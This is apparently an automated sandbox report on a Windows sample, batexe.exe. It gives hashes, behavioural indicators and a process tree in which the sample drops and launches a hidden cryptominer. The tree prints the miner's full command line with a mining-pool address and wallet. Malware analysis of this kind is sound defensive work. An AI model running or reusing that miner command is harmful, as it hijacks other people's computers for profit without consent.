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Analysis
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max time kernel
298s -
max time network
306s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
13/02/2024, 17:38
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 2284 b2e.exe 4964 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4964 cpuminer-sse2.exe 4964 cpuminer-sse2.exe 4964 cpuminer-sse2.exe 4964 cpuminer-sse2.exe 4964 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/736-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 736 wrote to memory of 2284 736 batexe.exe 84 PID 736 wrote to memory of 2284 736 batexe.exe 84 PID 736 wrote to memory of 2284 736 batexe.exe 84 PID 2284 wrote to memory of 1076 2284 b2e.exe 85 PID 2284 wrote to memory of 1076 2284 b2e.exe 85 PID 2284 wrote to memory of 1076 2284 b2e.exe 85 PID 1076 wrote to memory of 4964 1076 cmd.exe 88 PID 1076 wrote to memory of 4964 1076 cmd.exe 88
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:736 -
C:\Users\Admin\AppData\Local\Temp\9CCC.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\9CCC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9CCC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A9CD.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4964
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
11.3MB
MD532942c25446cb1897d2bbc0a13648861
SHA1b806160bd64dc97e5aa24c91f2f299203b006ab8
SHA25600555535469e8d342a770ec4424ead29516a52947af5de6a94b4845a45e0ca73
SHA512a8233da95eb4af756e0fb35cf0a45e23e0c34df8260f78492220d9c034729f50da93e0164db68da475e89749e208ad61f6457b244463c2ad4053b0e866dd16fd
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Filesize
1.1MB
MD5c8ddb9a1b99b955d28ce987616dc783a
SHA16a50a41aac042de84cbe5fe9cfa8ef171c1a15ba
SHA256d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a
SHA5128804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397
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Filesize
896KB
MD51f22d8bf5f6c3dda3e880ea1ba0417d4
SHA12a8dbf2319999a894714bdea650eb5be32c64c19
SHA256afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96
SHA512217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
4.9MB
MD534fd2bfc8688013e5099184d3c6fbf6b
SHA1fe135468dc181a7dc45b9a9ba13ddb7b69cbc812
SHA2566e67cf407bb4b2d10b745b7a0d22e74e91aff82447fd1ef6fbb6597e4fee06ee
SHA51241c541cc429c64e8f1736236a0b03a9009385430014eaa35ab657fd8a878021cb1c63b84f1d01d829e3d8370cb7b597ee2ff2cd995e93bdf5c128eea080da0ea
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Filesize
4.1MB
MD55354b483c1b55e0c41df0ff4cf4e430f
SHA153c50c5cc39bd87a89473dddfb89c581bdb8e8f7
SHA2565fbe4627824a620ef6d2a2383374e3985e63c0fe482a965f76d587d699561091
SHA512592a0cb411eacf481833e4923d70de137762989e343f717f1374e7938c6bc24048dcf6c428769f7f34c16d266fe285607e2d656859c50276d406918388fe1f5c
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Filesize
3.8MB
MD5dd7f5296c3449f5c0fb53e3bfd6dd22d
SHA1c106c0163ca3694feaba4eb4283401f1825a6caa
SHA2567c37152f3f6cd6b0b62d548b695b1581f1a4480a089236c2baa11cf142aa3c7f
SHA512b2e69754372c6911dd7576d4a8d4c88062c69737a4eb5aec1ee7cc08dd76b8ee7d91fb3ee1f4622c661aac3c6318963302ba8038a68bf6716a506e49d5b7f053
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770